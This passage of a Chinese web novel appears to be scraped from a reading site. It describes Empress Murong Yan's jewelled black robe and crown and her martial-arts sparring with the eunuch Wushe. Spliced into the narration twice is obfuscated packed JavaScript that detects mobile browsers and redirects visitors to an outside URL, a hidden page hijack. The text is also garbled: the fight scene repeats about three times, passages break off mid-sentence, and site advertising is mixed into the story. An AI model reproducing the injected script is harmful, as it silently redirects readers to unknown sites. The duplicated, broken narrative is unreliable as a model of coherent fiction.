凤冠的中心,镶嵌着一颗硕大无比的红宝石,红得夺目惊心,周边环绕着一圈圈细碎的宝石,如同星辰拱月,随着慕容嫣的动作轻轻晃动,折射出五彩华光,耀人眼目。 凤冠的两侧,垂下的珠帘以水晶与珍珠串就,水晶澄澈透明,珍珠圆润光滑,散发着温润的光泽,珠帘长短错落,行走间轻轻摇曳,既能恰到好处地遮挡住慕容嫣部分面容,增添几分神秘,又不妨碍她视物,尽显巧思。 “陛下,这凤冠太过贵重,妾身不敢僭越,还是您自己戴吧。” “不用,你戴。能给朕戴凤冠,是朕给予你的殊荣。” “是。” 张俪双手捧着凤冠,微微踮起脚尖,将其轻轻戴在慕容嫣的头顶。 刹那间,慕容嫣整个人仿若被一层神圣的光环所笼罩,光芒四射,那股王者之气愈发浓烈,仿佛能让整个世界都为之臣服。 她再次看向镜中的自己,凤冠、凤袍、拖尾完美地融为一体,她就是这天地间最尊贵、最霸气的存在,是即将主宰苍生的王者。 第419章 朕看你身材也不错 晨曦透过雕花窗棂,丝丝缕缕地洒进巍峨宫殿内的盥洗室。 女帝慕容嫣身着一袭黑色凤袍,身姿高挑挺拔,那凤袍黑得纯粹,宛如最深沉的夜色,又被奢华装点得耀眼无比。 这袍料是从西域远道而来的顶级乌蚕丝,触手生凉,柔滑得像水,泛着幽幽冷光,仿佛能把周围的光亮都吸进去。 上头用细如牛毛的纯金丝绣满了凤凰,凤凰活灵活现,凤头高高扬起,双眼镶着的红宝石红得像要烧起来,犀利得很,一眼看去就能把人给镇住。 凤嘴尖尖,微微张着,好像下一秒就要引吭高歌,冲破云霄。 凤凰的脖子修长又优雅,羽毛层层叠叠,每一片都是用蓝松石、粉珊瑚、白珍珠这些不同颜色的宝石珍珠精心拼起来的,慕容嫣稍微动一下,它们就闪闪烁烁,跟凤凰要飞起来似的,五彩光芒流转不停。 腰间束带差不多三寸宽,也是黑底金绣,正中间挂着块祖母绿玉佩,绿得像一汪深不见底的水潭,周围一圈细碎黄钻,跟星星围着月亮似的。 玉佩下面坠着个手掌大的如意结,金线绕来绕去,红宝石这儿那儿地点缀着,流苏是用冰蓝色水晶串成的,每颗水晶都切成菱形,一走起路来,水晶相互碰撞,折射出清冷细碎的光,跟星河晃悠似的。 再瞧那凤冠。 整体是黑色镂空紫金质地,用凤尾做支撑,凤尾高高翘起,凤羽是用墨玉雕琢的,纹理清晰,灵动又飘逸。 凤冠前头,一只超级大的展翅凤凰威风凛凛地立着,差不多占了凤冠前半部分。 凤身以黄金做骨架,五彩宝石贴在上面,凤凰翅膀一扇,左边用蓝宝石铺的翎羽亮晶晶的,右边祖母绿宝石相互辉映,每次扇动都跟打雷刮风似的动静不小。 凤冠后头垂下十二条珠帘,每条珠帘都是用东珠、南红、猫眼石这些稀罕宝石串成的,有长有短,错落得很有讲究。 最长的珠帘垂到慕容嫣肩头,她轻轻走一步,珠帘相互碰撞,叮叮当当响,跟仙乐似的,宣告着帝王的威严。 她站在镜前,身姿笔直,双肩微微往后一挺,那股子王者范儿就出来了。 她抬起手,纤细修长的手指微微弯曲,轻轻触碰凤袍领口。 指尖滑过冰凉的宝石和柔滑的袍料,眼睛微微眯起来,像是在细细感受这独一无二的奢华,嘴角不自觉就往上翘,露出一抹满足的笑。 接着,她左手轻轻抬起袍角,右手像抚琴似的,手指灵活地在腰间束带间穿梭,仔细整理那个绣工精美的如意 结。 如意结的金线在她指尖绕来绕去红宝石闪着微光流苏的焦蓝色水晶碰撞出细碎声响她却跟沉浸在自己的小世界里似的眼神专注又透着几分悠闲好像这世上就只有这凤袍值得她费心思。 她时而微微侧身向左脖子轻轻一转眼睛盯着凤袍肩颈处的刺绣看每一处金丝勾勒、每一片宝石镶嵌是不是完美无缺;时而又轻盈地向右转身回头瞅瞅查看裙摆的褶皱是不是自然流畅就跟审视一幅要给世人看的绝世名画一样。 她脸上神态宁静又自信偶尔眼睛里闪过一道凌厉的光好像能透过镜子把朝堂上下、宫廷内外的事儿都看透。 身后张俪垂首静静站着一头柔顺乌发整齐束在脑后身上穿着紫色长裙袖口和裙摆处绣着简单暗纹却也掩不住她高贵、温婉的气质。 慕容嫣朱唇轻启声音清脆好听:“俪儿你看朕这身黑色凤袍如何?跟以前那身金色的比有没有别样的味道?” 张俪抬起头眼睛在女帝身上来回打量满是倾慕地说:“陛下依妾身看这黑色凤袍十分衬您的气质霸气外露。您现在是第一强国的皇帝威震四方这黑色就跟深沉的夜空似的也就只有您这位主宰乾坤的人能压得住可比金色的更显威严。” 慕容嫣一听嘴角勾起一抹笑跟春天花儿绽放似的一下子把盥洗室都照亮了。 “朕也这么觉着。最近就总觉得这心境跟黑色更搭所以才让人去置办了黑色的凤袍。唉就是朝堂上那帮老家伙迂腐得很也不知道见朕穿这衣服又要胡说什么。” 言语间有几分洒脱又透着点无奈。 张俪抿嘴一笑上前两步小声说:“陛下您不必忧虑。上次您把金库公示满朝文武几乎都得到 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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那凤袍拖尾原本层层叠叠地堆在桌子上,宛如黑色的锦缎山峦,随着慕容嫣的步伐,先是前端缓缓滑落,继而如黑色的瀑布,一点一点地、优雅地铺陈在地上。 这拖尾足有五十米长,上面同样绣满了精美的凤凰与繁复的花纹,每一寸都散发着奢华的气息,在地面拖行时,宝石与地面轻轻摩擦,发出细微却清脆的声响,似在低吟着帝王的尊荣。 慕容嫣就这般拖着长长的凤袍,昂首阔步地向着殿外行去,似要将这宫廷的前路,都染上属于她的浓烈色彩。 第420章 连你也要对朕的行事指指点点 慕容嫣款步迈出盥洗室,恰似破晓而出的黑凤,刹那间,金阳倾洒,光芒跳跃在她那倾世容颜之上,冷峻的线条被镀上一层暖光。 寒冬腊月的凛冽在她身侧仿若怯懦的小厮,丝毫不敢近身。 身上的黑色凤袍随着她的走动,似暗夜涌动的星云,绣金的凤凰仿若振翅欲飞,鳞片闪烁,尾羽飘摇。 头顶那黑色凤冠更是夺目,以凤尾为撑,凤羽雕琢细腻,展翅的凤凰镶嵌五彩宝石,每一次轻微颔首,便有华光闪烁,十二条珠帘相互碰撞,清脆作响,宛如仙乐。 身后五十米的拖尾仿若黑色的天河,绣纹繁复,宝石生辉,随着她的走动,层层叠叠地起伏晃动,似在诉说着唯我独尊的故事。 随行的无舌无声地跟在身后,仿若一道隐匿的影子。 慕容嫣莲步轻移,声如寒玉相击:“无舌,你即刻遣百骑司去探问与韩国的贸易情形,再问问朕让他们办的事情如何了。办妥之后,速至戏台,咱们接着练武。” 无舌身形一顿,面露迟疑,犹豫一瞬后还是开口:“陛下,那朝中奏折.今日还未曾批阅呢。” 慕容嫣凤目骤睁,眼中寒芒如电,刺向无舌:“哼,如今连你也要对朕的行事指指点点?” 无舌心下一惊,扑通跪地,俯身叩首,声音颤抖:“老奴不敢,请陛下恕罪。” 慕容嫣冷哼一声,神色稍缓:“哼,奏折晚间处理亦是一样,莫要扰了朕的兴致。” 无舌忙不迭应下,而后如鬼魅般退下,精品首发更新,更多精彩内容等你来读。转瞬没了踪影。 慕容嫣径直行至戏台,那戏台雕梁画栋,四周帷幔轻拂。 戏台对面,一张凤椅置于正中,仿若王座临世。 慕容嫣优雅落座,身后拖尾蜿蜒,从凤椅后的缝隙悄然穿出,沿着台阶层层铺展,直至回廊尽头,仿若一条华丽的黑色路径,引向未知的皇权深处。 膳食早已备好,精致菜肴摆放整齐,却不见奢靡铺张,慕容嫣玉手轻抬,简单进食,举手投足间尽显优雅。 餐毕,慕容嫣盘膝坐于凤椅之上,闭目凝神,凤袍与拖尾自然垂落,仿若静谧的黑色湖面,唯有宝石偶尔闪烁微光,透露着暗藏的波澜壮阔。 未几,一阵细微却急促的脚步声传来,慕容无舌办事归来,疾步趋近戏台。 慕容嫣仿若心有感应,凤目霍然张开。 眸中精芒一闪,下一瞬,她身形暴起,仿若黑色闪电,直接从椅子上弹射而出,右拳裹挟劲风,朝着还未及 反应的无舌面门轰去。 这一拳带着三分嗔怒、七分锐意,拳风呼啸。 此刻,她身上的黑色凤袍仿若被劲风唤醒的上古巨兽,袍身剧烈鼓动,绣**似要挣脱束缚、翱翔九天。 凤首处的红宝**芒大盛,仿若燃烧的双眸怒视前方;凤羽上的珍珠、宝石碰撞作响,叮叮当当,如同凤凰在振翅长鸣;腰间束带的流苏狂舞,冰蓝色水晶折射出清冷光芒,恰似星河乱流。 头顶凤冠更是不甘示弱,那凤尾支撑仿若活物扭动,墨玉雕琢的凤羽沙沙作响,凤冠前端的巨型凤凰在剧烈晃动下,五彩宝石的光芒交织闪烁,晃得人睁不开眼,十二条珠帘被劲风拉扯,疯狂甩动,噼里啪啦地抽打在凤袍之上,发出清脆而凌乱的声响。 身后五十米拖尾仿若黑色怒海掀起惊涛骇浪,层层叠叠地翻涌而起,绣纹中的凤凰仿若灵动起来,随着拖尾的翻腾而若隐若现,宝石与地面摩擦,火花四溅,“簌簌”作响。 但这样的攻击对无舌来讲就是小儿科,只见他不慌不忙地抬手格挡。 但他万万没想到慕容嫣的力量居然这么大,这一拳居然将他的身形打得狼狈踉跄,脚跟不稳,险些摔倒。 但他毕竟是久经训练之人,瞬间稳住身形,眼神一凛。 他双脚分开,屈膝下沉,双臂在胸前交叉,摆出防御之势,眼神紧紧锁住慕容嫣,试图从她的招式中寻出破绽。 慕容嫣却不给喘息之机,欺身而上,左腿高高抬起,带着千钧之力,朝着无舌的胸口迅猛踢去。 这一腿快如疾风,腿风割面生疼。 无舌不敢硬接,侧身一闪,慕容嫣的脚尖擦着他的衣衫划过,带起一片衣角碎屑。 她借力旋转,右腿顺势横扫而出,宛如一条黑色的长鞭,抽向无舌的腰部。 无舌见状,连忙矮身躲避,双手撑地,一个翻滚狼狈躲开。 此时,慕容嫣的凤袍拖尾因她的快速旋转与凌厉攻击,在戏台之上肆意飞舞,仿若一条失控的黑色长河。 拖尾扫过之处,戏台的雕梁画栋被刮出道道细微划痕,帷幔被掀起老高,呼呼作响。 凤冠上的珠帘持续乱舞,有几枚宝石在碰撞中脱落,散落在地,滚落间依然闪烁着华华光。 凤袍领口的祖母绿玉佩在激烈动作下,来回晃动,仿若深潭泛起涟漪,清冷的绿光照亮了慕容嫣因愤怒而略显狰狞的面容。 无舌趁慕容嫣招式用老,新力未生之际,猛地从地上跃起,双拳齐出,直击慕容嫣的腹部。 慕容嫣柳眉倒竖,凤目圆睁,不避不让,双手快速下探,精准地抓住无舌的双拳,而后大喝一声,双臂发力,竟将无舌整个人抡了起来,在空中划了一道弧线,狠狠甩向戏台的立柱。 无舌像一只巨大的蝙蝠,身形在空中几个摇晃,稳稳落在地上。 慕容嫣并未停手,她脚尖轻点地面,如鬼魅般欺近,右掌高高扬起,掌心聚力,带着呼呼风声,朝着无舌的天灵盖拍去。 无舌以双臂交叉护住头顶。 砰—— 无舌只觉自己小臂发麻,整个人险些被拍倒在地。 慕容嫣站在原地,胸膛微微起伏,凤目之中怒火未消。 她的凤袍此刻已有些凌乱,几处金丝绣线崩断,露出些许乌蚕丝底料;凤冠也歪斜在一侧,珠帘断了好几根,耷拉下来,失去了几分往日的威严;身后拖尾更是布满灰尘,宝石也掉了不少,层层叠叠地堆在地上,仿若一条受伤后神凤。 无舌脸不红气不喘,望着盛怒未消的慕容嫣,笑道:“陛下武功又有精进,老奴佩服。” 慕容嫣冷哼一声:“哼,让朕好等,办事可还利落?” “回陛下,贸易诸事进展尚佳,百骑司已经押送第一批生铁去往无情了。” 反应的无舌面门轰去。 这一拳带着三分嗔怒、七分锐意,拳风呼啸。 此刻,她身上的黑色凤袍仿若被劲风唤醒的上古巨兽,袍身剧烈鼓动,绣**似要挣脱束缚、翱翔九天。 凤首处的红宝**芒大盛,仿若燃烧的双眸怒视前方;凤羽上的珍珠、宝石碰撞作响,叮叮当当,如同凤凰在振翅长鸣;腰间束带的流苏狂舞,冰蓝色水晶折射出清冷光芒,恰似星河乱流。 头顶凤冠更是不甘示弱,那凤尾支撑仿若活物扭动,墨玉雕琢的凤羽沙沙作响,凤冠前端的巨型凤凰在剧烈晃动下,五彩宝石的光芒交织闪烁,晃得人睁不开眼,十二条珠帘被劲风拉扯,疯狂甩动,噼里啪啦地抽打在凤袍之上,发出清脆而凌乱的声响。 身后五十米拖尾仿若黑色怒海掀起惊涛骇浪,层层叠叠地翻涌而起,绣纹中的凤凰仿若灵动起来,随着拖尾的翻腾而若隐若现,宝石与地面摩擦,火花四溅,“簌簌”作响。 但这样的攻击对无舌来讲就是小儿科,只见他不慌不忙地抬手格挡。 但他万万没想到慕容嫣的力量居然这么大,这一拳居然将他的身形打得狼狈踉跄,脚跟不稳,险些摔倒。 但他毕竟是久经训练之人,瞬间稳住身形,眼神一凛。 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凤首处的红宝**芒大盛,仿若燃烧的双眸怒视前方;凤羽上的珍珠、宝石碰撞作响,叮叮当当,如同凤凰在振翅长鸣;腰间束带的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15336714|158057||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 流苏狂舞,冰蓝色水晶折射出清冷光芒,恰似星河乱流。 头顶凤冠更是不甘示弱,那凤尾支撑仿若活物扭动,墨玉雕琢的凤羽沙沙作响,凤冠前端的巨型凤凰在剧烈晃动下,五彩宝石的光芒交织闪烁,晃得人睁不开眼,十二条珠帘被劲风拉扯,疯狂甩动,噼里啪啦地抽打在凤袍之上,发出清脆而凌乱的声响。 身后五十米拖尾仿若黑色怒海掀起惊涛骇浪,层层叠叠地翻涌而起,绣纹中的凤凰仿若灵动起来,随着拖尾的翻腾而若隐若现,宝石与地面摩擦,火花四溅,“簌簌”作响。 但这样的攻击对无舌来讲就是小儿科,只见他不慌不忙地抬手格挡。 但他万万没想到慕容嫣的力量居然这么大,这一拳居然将他的身形打得狼狈踉跄,脚跟不稳,险些摔倒。 但他毕竟是久经训练之人,瞬间稳住身形,眼神一凛。 他双脚分开,屈膝下沉,双臂在胸前交叉,摆出防御之势,眼神紧紧锁住慕容嫣,试图从她的招式中寻出破绽。 慕容嫣却不给喘息之机,欺身而上,左腿高高抬起,带着千钧之力,朝着无舌的胸口迅猛踢去。 这一腿快如疾风,腿风割面生疼。 无舌不敢硬接,侧身一闪,慕容嫣的脚尖擦着他的衣衫划过,带起一片衣角碎屑。 她借力旋转,右腿顺势横扫而出,宛如一条黑色的长鞭,抽向无舌的腰部。 无舌见状,连忙矮身躲避,双手撑地,一个翻滚狼狈躲开。 此时,慕容嫣的凤袍拖尾因她的快速旋转与凌厉攻击,在戏台之上肆意飞舞,仿若一条失控的黑色长河。 拖尾扫过之处,戏台的雕梁画栋被刮出道道细微划痕,帷幔被掀起老高,呼呼作响。 凤冠上的珠帘持续乱舞,有几枚宝石在碰撞中脱落,散落在地,滚落间依然闪烁着华华光。 凤袍领口的祖母绿玉佩在激烈动作下,来回晃动,仿若深潭泛起涟漪,清冷的绿光照亮了慕容嫣因愤怒而略显狰狞的面容。 无舌趁慕容嫣招式用老,新力未生之际,猛地从地上跃起,双拳齐出,直击慕容嫣的腹部。 慕容嫣柳眉倒竖,凤目圆睁,不避不让,双手快速下探,精准地抓住无舌的双拳,而后大喝一声,双臂发力,竟将无舌整个人抡了起来,在空中划了一道弧线,狠狠甩向戏台的立柱。 无舌像一只巨大的蝙蝠,身形在空中几个摇晃,稳稳落在地上。 慕容嫣并未停手,她脚尖轻点地面,如鬼魅般欺近,右掌高高扬起,掌心聚力,带着呼呼风声,朝着无舌的天灵盖拍去。 无舌以双臂交叉护住头顶。 砰—— 无舌只觉自己小臂发麻,整个人险些被拍倒在地。 慕容嫣站在原地,胸膛微微起伏,凤目之中怒火未消。 她的凤袍此刻已有些凌乱,几处金丝绣线崩断,露出些许乌蚕丝底料;凤冠也歪斜在一侧,珠帘断了好几根,耷拉下来,失去了几分往日的威严;身后拖尾更是布满灰尘,宝石也掉了不少,层层叠叠地堆在地上,仿若一条受伤后神凤。 无舌脸不红气不喘,望着盛怒未消的慕容嫣,笑道:“陛下武功又有精进,老奴佩服。” 慕容嫣冷哼一声:“哼,让朕好等,办事可还利落?” “回陛下,贸易诸事进展尚佳,百骑司已经押送第一批生铁去往无情了。” 反应的无舌面门轰去。 这一拳带着三分嗔怒、七分锐意,拳风呼啸。 此刻,她身上的黑色凤袍仿若被劲风唤醒的上古巨兽,袍身剧烈鼓动,绣**似要挣脱束缚、翱翔九天。 凤首处的红宝**芒大盛,仿若燃烧的双眸怒视前方;凤羽上的珍珠、宝石碰撞作响,叮叮当当,如同凤凰在振翅长鸣;腰间束带的流苏狂舞,冰蓝色水晶折射出清冷光芒,恰似星河乱流。 头顶凤冠更是不甘示弱,那凤尾支撑仿若活物扭动,墨玉雕琢的凤羽沙沙作响,凤冠前端的巨型凤凰在剧烈晃动下,五彩宝石的光芒交织闪烁,晃得人睁不开眼,十二条珠帘被劲风拉扯,疯狂甩动,噼里啪啦地抽打在凤袍之上,发出清脆而凌乱的声响。 身后五十米拖尾仿若黑色怒海掀起惊涛骇浪,层层叠叠地翻涌而起,绣纹中的凤凰仿若灵动起来,随着拖尾的翻腾而若隐若现,宝石与地面摩擦,火花四溅,“簌簌”作响。 但这样的攻击对无舌来讲就是小儿科,只见他不慌不忙地抬手格挡。 但他万万没想到慕容嫣的力量居然这么大,这一拳居然将他的身形打得狼狈踉跄,脚跟不稳,险些摔倒。 但他毕竟是久经训练之人,瞬间稳住身形,眼神一凛。 他双脚分开,屈膝下沉,双臂在胸前交叉,摆出防御之势,眼神紧紧锁住慕容嫣,试图从她的招式中寻出破绽。 慕容嫣却不给喘息之机,欺身而上,左腿高高抬起,带着千钧之力,朝着无舌的胸口迅猛踢去。 这一腿快如疾风,腿风割面生疼。 无舌不敢硬接,侧身一闪,慕容嫣的脚尖擦着他的衣衫划过,带起一片衣角碎屑。 她借力旋转,右腿顺势横扫而出,宛如一条黑色的长鞭,抽向无舌的腰部。 无舌见状,连忙矮身躲避,双手撑地,一个翻滚狼狈躲开。 此时,慕容嫣的凤袍拖尾因她的快速旋转与凌厉攻击,在戏台之上肆意飞舞,仿若一条失控的黑色长河。 拖尾扫过之处,戏台的雕梁画栋被刮出道道细微划痕,帷幔被掀起老高,呼呼作响。 凤冠上的珠帘持续乱舞,有几枚宝石在碰撞中脱落,散落在地,滚落间依然闪烁着华华光。 凤袍领口的祖母绿玉佩在激烈动作下,来回晃动,仿若深潭泛起涟漪,清冷的绿光照亮了慕容嫣因愤怒而略显狰狞的面容。 无舌趁慕容嫣招式用老,新力未生之际,猛地从地上跃起,双拳齐出,直击慕容嫣的腹部。 慕容嫣柳眉倒竖,凤目圆睁,不避不让,双手快速下探,精准地抓住无舌的双拳,而后大喝一声,双臂发力,竟将无舌整个人抡了起来,在空中划了一道弧线,狠狠甩向戏台的立柱。 无舌像一只巨大的蝙蝠,身形在空中几个摇晃,稳稳落在地上。 慕容嫣并未停手,她脚尖轻点地面,如鬼魅般欺近,右掌高高扬起,掌心聚力,带着呼呼风声,朝着无舌的天灵盖拍去。 无舌以双臂交叉护住头顶。 砰—— 无舌只觉自己小臂发麻,整个人险些被拍倒在地。 慕容嫣站在原地,胸膛微微起伏,凤目之中怒火未消。 她的凤袍此刻已有些凌乱,几处金丝绣线崩断,露出些许乌蚕丝底料;凤冠也歪斜在一侧,珠帘断了好几根,耷拉下来,失去了几分往日的威严;身后拖尾更是布满灰尘,宝石也掉了不少,层层叠叠地堆在地上,仿若一条受伤后神凤。 无舌脸不红气不喘,望着盛怒未消的慕容嫣,笑道:“陛下武功又有精进,老奴佩服。” 慕容嫣冷哼一声:“哼,让朕好等,办事可还利落?” “回陛下,贸易诸事进展尚佳,百骑司已经押送第一批生铁去往无情了。” 反应的无舌面门轰去。 这一拳带着三分嗔怒、七分锐意,拳风呼啸。 此刻,她身上的黑色凤袍仿若被劲风唤醒的上古巨兽,袍身剧烈鼓动,绣**似要挣脱束缚、翱翔九天。 凤首处的红宝**芒大盛,仿若燃烧的双眸怒视前方;凤羽上的珍珠、宝石碰撞作响,叮叮当当,如同凤凰在振翅长鸣;腰间束带的流苏狂舞,冰蓝色水晶折射出清冷光芒,恰似星河乱流。 头顶凤冠更是不甘示弱,那凤尾支撑仿若活物扭动,墨玉雕琢的凤羽沙沙作响,凤冠前端的巨型凤凰在剧烈晃动下,五彩宝石的光芒交织闪烁,晃得人睁不开眼,十二条珠帘被劲风拉扯,疯狂甩动,噼里啪啦地抽打在凤袍之上,发出清脆而凌乱的声响。 身后五十米拖尾仿若黑色怒海掀起惊涛骇浪,层层叠叠地翻涌而起,绣纹中的凤凰仿若灵动起来,随着拖尾的翻腾而若隐若现,宝石与地面摩擦,火花四溅,“簌簌”作响。 但这样的攻击对无舌来讲就是小儿科,只见他不慌不忙地抬手格挡。 但他万万没想到慕容嫣的力量居然这么大,这一拳居然将他的身形打得狼狈踉跄,脚跟不稳,险些摔倒。 但他毕竟是久经训练之人,瞬间稳住身形,眼神一凛。 他双脚分开,屈膝下沉,双臂在胸前交叉,摆出防御之势,眼神紧紧锁住慕容嫣,试图从她的招式中寻出破绽。 慕容嫣却不给喘息之机,欺身而上,左腿高高抬起,带着千钧之力,朝着无舌的胸口迅猛踢去。 这一腿快如疾风,腿风割面生疼。 无舌不敢硬接,侧身一闪,慕容嫣的脚尖擦着他的衣衫划过,带起一片衣角碎屑。 她借力旋转,右腿顺势横扫而出,宛如一条黑色的长鞭,抽向无舌的腰部。 无舌见状,连忙矮身躲避,双手撑地,一个翻滚狼狈躲开。 此时,慕容嫣的凤袍拖尾因她的快速旋转与凌厉攻击,在戏台之上肆意飞舞,仿若一条失控的黑色长河。 拖尾扫过之处,戏台的雕梁画栋被刮出道道细微划痕,帷幔被掀起老高,呼呼作响。 凤冠上的珠帘持续乱舞,有几枚宝石在碰撞中脱落,散落在地,滚落间依然闪烁着华华光。 凤袍领口的祖母绿玉佩在激烈动作下,来回晃动,仿若深潭泛起涟漪,清冷的绿光照亮了慕容嫣因愤怒而略显狰狞的面容。 无舌趁慕容嫣招式用老,新力未生之际,猛地从地上跃起,双拳齐出,直击慕容嫣的腹部。 慕容嫣柳眉倒竖,凤目圆睁,不避不让,双手快速下探,精准地抓住无舌的双拳,而后大喝一声,双臂发力,竟将无舌整个人抡了起来,在空中划了一道弧线,狠狠甩向戏台的立柱。 无舌像一只巨大的蝙蝠,身形在空中几个摇晃,稳稳落在地上。 慕容嫣并未停手,她脚尖轻点地面,如鬼魅般欺近,右掌高高扬起,掌心聚力,带着呼呼风声,朝着无舌的天灵盖拍去。 无舌以双臂交叉护住头顶。 砰—— 无舌只觉自己小臂发麻,整个人险些被拍倒在地。 慕容嫣站在原地,胸膛微微起伏,凤目之中怒火未消。 她的凤袍此刻已有些凌乱,几处金丝绣线崩断,露出些许乌蚕丝底料;凤冠也歪斜在一侧,珠帘断了好几根,耷拉下来,失去了几分往日的威严;身后拖尾更是布满灰尘,宝石也掉了不少,层层叠叠地堆在地上,仿若一条受伤后神凤。 无舌脸不红气不喘,望着盛怒未消的慕容嫣,笑道:“陛下武功又有精进,老奴佩服。” 慕容嫣冷哼一声:“哼,让朕好等,办事可还利落?” “回陛下,贸易诸事进展尚佳,百骑司已经押送第一批生铁去往无情了。” 第421章 无舌亲自授课 戏台上,日光洒下,将慕容嫣那身华贵却稍显凌乱的凤袍映得愈发夺目,凤冠上残余的珠帘在微风中轻轻晃动,偶尔碰撞,发出几声细碎的清响。 她莲步轻移,身姿挺拔中透着几分刚健,几步便来到戏台中央,凤袍拖尾如黑色的绸缎长河,在戏台的地面蜿蜒铺展,宝石与砖石相触,发出轻微的“簌簌”声。 凤目凝视着不远处气定神闲的无舌,眼中满是不甘与疑惑,开口问道:“无舌,为何朕还是打不过你?” 无舌闻言,气定神闲地向前一步,双手垂于两侧,不卑不亢地答道:“陛下,若是这般短时间内您就能轻易战胜老奴,那老奴这几十载在武学一道上的造诣,岂不是全白费了?这学武功,讲究的是循序渐进,是个缓慢积累的过程,急不得。陛下您天赋异禀,武功已然进步神速,可在老奴看来,如此迅猛的提升,反倒不是好事。” 慕容嫣柳眉轻蹙,心中虽知晓无舌所言在理,可那股不服输的劲,在胸腔内燃烧得愈发炽热。 她朱唇轻启,决然道:“那我们就继续练。” 话音未落,她身形骤动,仿若黑色闪电划过戏台。 刹那间,右掌聚力,掌心处隐隐有气流翻涌,掌心向前,五指并拢,带着呼啸风声,直取无舌面门。 这一掌,速度快到极致,掌风割面,竟使得空气都发出“嘶嘶”声响,可见其威力不凡。 无舌不慌不忙。 只见他身形微微一侧,轻松避开这凌厉一击,脚下步伐灵动,仿若踩着精妙的舞步,眨眼间已移至慕容嫣身侧。 他边移动边轻声说道:“陛下,这一掌发力虽猛,可中路大开,极易被人寻得破绽。” 说话间,他的双手看似随意地摆动,却暗藏守御之势,随时准备应对慕容嫣的下一招。 慕容嫣一击未中,心中更添几分急切。 她借着前冲的势头,左腿高高抬起,在空中划过一道优美的弧线,向着无舌的脖颈横扫而去。这一腿快如疾风,带起的劲风竟吹得她凤袍的下摆猎猎作响。 无舌见状,嘴角微微上扬,露出一抹淡淡的笑意。 他上身轻轻后仰,以毫厘之差避开这一腿,同时右手探出,看似轻柔地搭在慕容嫣的小腿上,稍稍借力,便将她这凌厉的一腿引向一旁。 “陛下,腿法讲究刚柔并济,您这一腿太过刚硬,若遇高手,恐会被反制。”他的声音依旧沉稳平和,就像一位耐心的师父在教导徒儿。 慕容嫣落地站稳,调整呼吸,眼神愈发坚定 ,双掌在胸前快速舞动,一时间,掌影重重,密不透风,仿若一片翻飞的黑色蝶翼,向着无舌笼罩而去。 无舌见招,不紧不慢地踏入这片掌影之中。 他身形飘忽,仿若鬼魅,在慕容嫣的掌风间穿梭自如。 每一次慕容嫣的手掌即将触碰到他,他都能以不可思议的角度避开,同时还不忘出言提点:“陛下,您的内力运转有些生硬,不妨试试将气息下沉,贯穿四肢……” 他的声音不大,却清晰地传入慕容嫣耳中,在这激烈的打斗声中,犹如一泓清泉,让慕容嫣的心境渐渐有了些许变化。 此时的慕容嫣,凤冠已然彻底歪斜,几缕发丝凌乱地散落下来,遮住了她部分脸颊,却更添几分狂野之美。 凤袍上的金丝绣线崩断多处,露出的乌蚕丝底料在阳光下闪烁着幽光,仿若暗夜星辰。 腰间束带松散,流苏七零八落,那原本璀璨的冰蓝色水晶,也掉落了不少,可即便如此,她身上的霸气却丝毫不减,反倒愈发浓烈。 身后五十米的拖尾,此刻更是混乱不堪,宝石散落一地,绣纹中的凤凰也被扯得有些变形,层层叠叠地堆在地上。 无舌边招架边暗自思忖,陛下这般拼命,莫不是朝堂诸事给了她太大压力,想借此宣泄? 又或是真心痴迷武学,急于求成? 念及此处,他决定稍稍改变策略,既要让慕容嫣尽情施展,又不能让她受伤,还得让她明白武功之道,循序渐进的真谛。 于是,当慕容嫣再次攻来时,无舌不再一味硬抗,而是施展起精妙的步法,身形飘忽,仿若鬼魅。 他时而左闪右避,让慕容嫣的攻击落空;时而以四两拨千斤之势,轻轻巧巧地将慕容嫣的劲道引向一旁。 每一次躲闪与化解,他都会适时开口,提点一二:“陛下,这一招太过刚猛,易泄了自身破绽,不妨试试侧身迂回……” “陛下,发力之时,气运丹田,莫要单用蛮力……” 慕容嫣起初并不理会,满心只想取胜,可几招下来,她渐渐发现无舌所言极是。 她虽是帝王,却也懂得虚心纳谏之理,当下便试着按照无舌的指点出招。 果不其然,这一番调整后,她的攻击愈发流畅,威力似乎也更胜从前。 如此这般,两人你来我往,又斗了数十回合。 慕容嫣越打越起劲儿,招式愈发娴熟,心境也愈发沉稳。 日头渐渐西斜,余晖将整个戏台染成一片金黄。 慕容嫣收 了招式,立于戏台中央,微微喘息,凤目之中却满是兴奋与满足。 无舌见状,上前跪地,恭敬道:“陛下,进步神速,老奴佩服。” 慕容嫣微微仰头,望着天边的晚霞,心中豪情万丈,朗声道:“回宫?今日这练武的兴致才刚起,怎可半途而废?摆宴,朕要与你在这戏台上,边吃边论武学之道!” 无舌一愣,随即露出笑容,连忙应道:“遵旨!” 言罢,起身退下安排晚宴事宜。 慕容嫣则信步走到戏台边缘,慕容嫣接过麝月递过来的毛巾,那毛巾质地柔软,绣着精致的暗纹,边角还坠着细碎的流苏。 她轻轻拿起毛巾,动作优雅而从容,擦拭着额头上细密的汗珠。 汗水在阳光的映照下,宛如细碎的珍珠,滚落于毛巾之上,浸湿了一小片。 随着她擦拭的动作,几缕发丝从鬓角散落下来,更添了几分慵懒与随性。 她继而将目光投向歪斜的凤冠,那凤冠在阳光下莹莹生辉,依旧散发着令人瞩目的奢华。 凤冠整体呈黑色镂空紫金质地,以凤尾为撑,凤尾蜿蜒上扬,凤羽以墨玉雕琢,纹理清晰,灵动飘逸。 凤冠前端,一只巨型展翅凤凰傲立,几乎占据整个凤冠前半部分。 凤身以黄金为骨,五彩宝石贴片,凤凰双翅展开,左翼用蓝宝石铺就翎羽,右翼则是祖母绿宝石相互辉映,每一次扇动,都似有风雷声动。 凤冠后侧垂下十二条珠帘,每条珠帘皆由东珠、南红、猫眼石等珍稀宝石串成,长短不一,却错落有致。 